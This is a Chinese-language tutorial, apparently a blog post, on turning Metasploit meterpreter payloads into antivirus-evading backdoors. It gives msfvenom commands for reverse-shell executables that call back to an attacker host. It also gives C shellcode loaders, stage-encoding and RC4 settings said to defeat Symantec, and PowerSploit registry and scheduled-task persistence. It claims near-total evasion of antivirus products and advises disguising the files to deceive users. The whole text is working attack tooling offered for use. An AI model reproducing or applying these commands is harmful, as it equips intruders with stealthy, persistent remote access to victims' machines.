0x01 meterpreter簡介
MetasploitFramework是一個緩沖區溢出測試使用的輔助工具,也可以說是一個漏洞利用和測試平台,它集成了各種平台上常見的溢出漏洞和流行的shellcode,並且不斷更新,使得緩沖區溢出測試變的方便和簡單。 需要說明的是meterpreter在漏洞利用成功后會發送第二階段的代碼和meterpreter服務器dll,所以在網絡不穩定的情況下經常出現沒有可執行命令,或者會話建立執行help之后發現缺少命令,經常出現什么sending stager error,如果網絡真的很差的話,可以選用stageless meterpreter。
(meterpreter網上的資料很多,drops上就有不少,我們就長話短說,介紹最有用的幾個。)
0x02 生成后門
在舊的metasploit中,生成payload是用msfpayload+msfencode,之后rapid7整合了這兩個命令變成了msfvenom,並添加了更多的功能,下面是用msfvenom生成backdoor的實例。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f exe > /root/Desktop/Green_m.exe
這樣可以生成一個使用tcp協議反向連接到192.168.1.200的4444端口的meterpreter的后門。 這樣生成的exe可以運行,但是會被殺掉。
0x03 生成shellcode免殺
長話短說,手動編譯meterpreter並對shellcode進行編碼就能繞過靜態查殺,meterpreter本身就是直接加載進內存並且有編碼,繞過動態查殺基本沒問題,(當然你也可以使用veil-evasion,不過效果不怎么好)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.1.200 lport=4444 -f c
上述命令生成在之前的基礎上生成基於c語言格式的shellcode,通過e參數指定編碼方式,i參數指定編碼次數,b參數去除指定代碼,一般是空代碼或者錯誤代碼,-f指定生成格式。
unsigned char buf[] =
"shellcode is here";
main()
{
( (void(*)(void))&buf)();
}
這種方式vc++6.0能夠成功編譯,但是vs編譯會報錯,可以換成
main()
{
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
還有很多其他的方法,這里就不一一測試了。
友情提示:在實戰情況下,免殺效果會根據編譯器和系統環境而變化,可以多准備一些環境進行免殺工作。
通過上述方法編譯生成的exe可以繞過幾乎100%殺軟,包括360,卡巴斯基,小紅傘等殺軟。
0x04 選擇payload進行免殺
上面生成shellcode的方式是針對殺軟靜態免殺的,接下來說到動態行為免殺。
在對市面上主流的殺軟進行測試的過程中,發現symantec會在meterpreter回連成功,從metasploit里接受數據的時候報毒。
無論是自己手動編碼編譯還是msf自動生成的exe都會這樣被報毒。
經過筆者自己測試,使用reverse_https等payload可以anti symantec。
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.200 lport=443 -f c
但是需要在metasploit設置
set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
將控制端向被控制端發送的stage進行編碼,從而繞過symantec的查殺。
同樣,使用reverse_tcp_rc4也有同樣的效果,而且不能設置stageencoder選項,更穩定更方便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m -f c
利用rc4對傳輸的數據進行加密,密鑰在生成時指定,在監聽的服務端設置相同的密鑰。就可以在symantec眼皮地下執行meterpreter。
這里做一個拋磚引玉的作用,其他payload的查殺效果需要各大黑客自己去測試。
0x05 meterpreter常駐的免殺
常見的添加meterpreter 常駐的方法無非兩種,
persistence和metsvc,這兩種方法效果還是不錯的,不過在面對殺軟的時候無能為力,幾乎100%被殺。
下面介紹幾種能繞過殺軟的添加自啟動方法。
- 1.使用exploit/windows/local/registry_persistence
通過用戶自己指定payload及編碼方式,將shellcode添加到注冊表,然后再利用powershell加載該shellcode,成功運行meterpreter。
由於加載的payload是由metasploit指定,每次都不一定一樣,這個方法在面對大部分主流AV的時候簡直強大,只要不監視注冊表操作不限制powershell,幾乎不會被殺。
同類型的還有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence,有的效果也不錯,如添加計划任務啟動的功能,但或多或少都有一些限制,總體說來不如上面講到的方法。
- 2.利用powershell
powershell因為其特性,被很多殺毒軟件直接忽視,因此用這個方法經常能達到出其不意的效果
其實這個方式和第一種原理都是一樣,不過自定義的powershell腳本效果更佳。
這里可以利用一個工具powersploit,下面用它來示范一個簡單的例子。
Import-Module .\Persistence\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions =New-UserPersistenceOption -ScheduledTask -Hourly
Add-Persistence -FilePath .\Green_m.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
其中Green_m.ps1是加載有payload的powershell腳本文件,你可以用msf生成一個加載meterpreter的ps1文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f psh-reflection -o Green_m.ps1
當然你也可以選擇不執行powershell文件而直接執行某個PE文件,可以通過將代碼賦予變量來執行。
$Green_m = { c:\windows\system32\notepad.exe }
$ElevatedOptions =New-ElevatedPersistenceOption -PermanentWMI -AtStartup
$UserOptions =New-UserPersistenceOption -ScheduledTask -Hourly
Add-Persistence -ScriptBlock $Green_m -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $Us erOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
powersploit還有其他非常有用的功能,有興趣可以自己去github或者使用get-help查詢。
- 3.手動編寫
只要是工具用得太多都難免被AV發現,這個時候就需要手動編寫自啟動功能。
手動添加自啟動,自刪除,再改個圖標后綴技能騙過殺軟也能騙過人眼,擴展一下就是個大馬,這里就不多說了。
0x06 總結
meterpreter因為其簡單多變的結構,強大的功能,在滲透中面對未知殺軟環境的情況下效果不錯